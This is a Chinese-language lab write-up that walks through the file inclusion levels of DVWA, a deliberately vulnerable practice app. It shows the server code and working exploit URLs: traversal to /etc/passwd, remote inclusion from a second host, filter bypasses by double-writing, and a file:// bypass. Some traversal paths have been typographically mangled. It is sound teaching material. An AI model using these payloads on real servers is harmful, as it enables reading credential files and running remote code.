File Inclusion--文件包含漏洞

一、简介

为了提高代码的复用性,开发人员往往将业务功能封装成模块放入一个文件中,需要的时候包含对应的文件即可。如果包含者为对被包含的文件进行检查,那么很有可能造成灾难性的后果。
File Inclusion分为LFI(Local File Inclusion,本地文件包含)和RFI(Remote File Inclusion,远程文件包含),LFI指使用文件包含函数包含执行本地(Web应用所在主机)文件,利用LFI可以查看系统任意文件内容,如果具备一些条件,也可以执行命令;RFI需要一定的条件,以PHP应用来说,当且仅当php.ini的配置选项allow_url_fopen和allow_url_include为ON的话,则文件包含函数是可以加载远程文件的,利用RFI可以直接执行任意命令。

二、Low

1、服务器端代码


// The page we wish to display
$file = $_GET[ 'page' ];

?>

2、漏洞分析
可以看到,服务端是通过get方法获取参数,且并未对“page”参数做任何检查和处理,所以我们可以直接构造url,读取服务器上的文件或者包含远程文件。
3、漏洞利用

  • LFI
    构造url: “http://192.168.0.114/DVWA/vulnerabilities/fi/?page=…/…/…/…/…/…/etc/passwd”,输入至地址栏,可以读取到服务器端所有账户的密码,可见危害之大。
    File Inclusion--文件包含漏洞_第1张图片

  • RFI:
    在另外一个服务器(192.168.0.133)上传文件phpinfo.php,内容如下:
    File Inclusion--文件包含漏洞_第2张图片
    构建url “http://192.168.0.114/DVWA/vulnerabilities/fi/?page=http://192.168.0.133:82/phpinfo.php”,File Inclusion--文件包含漏洞_第3张图片

三、Medium

1、服务器端代码

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );

?>

2、漏洞分析
Medium级别的代码使用“str_replace”函数将“page”参数中的“http://、https://、…/、…\”替换为空格,可以通过双写绕过
比如 “http://192.168.0.114/DVWA/vulnerabilities/fi/?page=…/./…/./…/./…/./…/./…/./etc/passwd”等效为
“http://192.168.0.114/DVWA/vulnerabilities/fi/?page=…/…/…/…/…/…/etc/passwd”
“http://192.168.0.114/DVWA/vulnerabilities/fi/?page=hthttp://tp://192.168.0.133:82/phpinfo.php”等效为
“http://192.168.0.114/DVWA/vulnerabilities/fi/?page=http://192.168.0.133:82/phpinfo.php”

3、漏洞利用

  • LFI:地址栏输入“http://192.168.0.114/DVWA/vulnerabilities/fi/?page=…/./…/./…/./…/./…/./…/./etc/passwd”
    File Inclusion--文件包含漏洞_第4张图片

  • RFI:地址栏输入“http://192.168.0.114/DVWA/vulnerabilities/fi/?page=hthttp://tp://192.168.0.133:82/phpinfo.php”
    File Inclusion--文件包含漏洞_第5张图片

四、High

1、服务器端代码


// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?>

2、漏洞分析
High级别的代码使用“fnmatch”函数对用户输入进行检测,要求必须是以“file”开头(此处不明白,点击file1.php时,page=file1.php,但是依然没有报错),可以使用file协议绕过
3、漏洞利用
构建url: “http://192.168.0.114/DVWA/vulnerabilities/fi/?page=file:///var/www/html/DVWA/php.ini”,输入至地址栏,成功读取到了服务器配置文件。
File Inclusion--文件包含漏洞_第6张图片

四、Impossible

1、服务器端代码


// The page we wish to display
$file = $_GET[ 'page' ];

// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?>

2、漏洞分析
Impossible使用了白名单机制进行防护,page参数必须为“include.php”、“file1.php”、“file2.php”、“file3.php”之一,彻底杜绝了文件包含漏洞。

你可能感兴趣的:(File Inclusion--文件包含漏洞)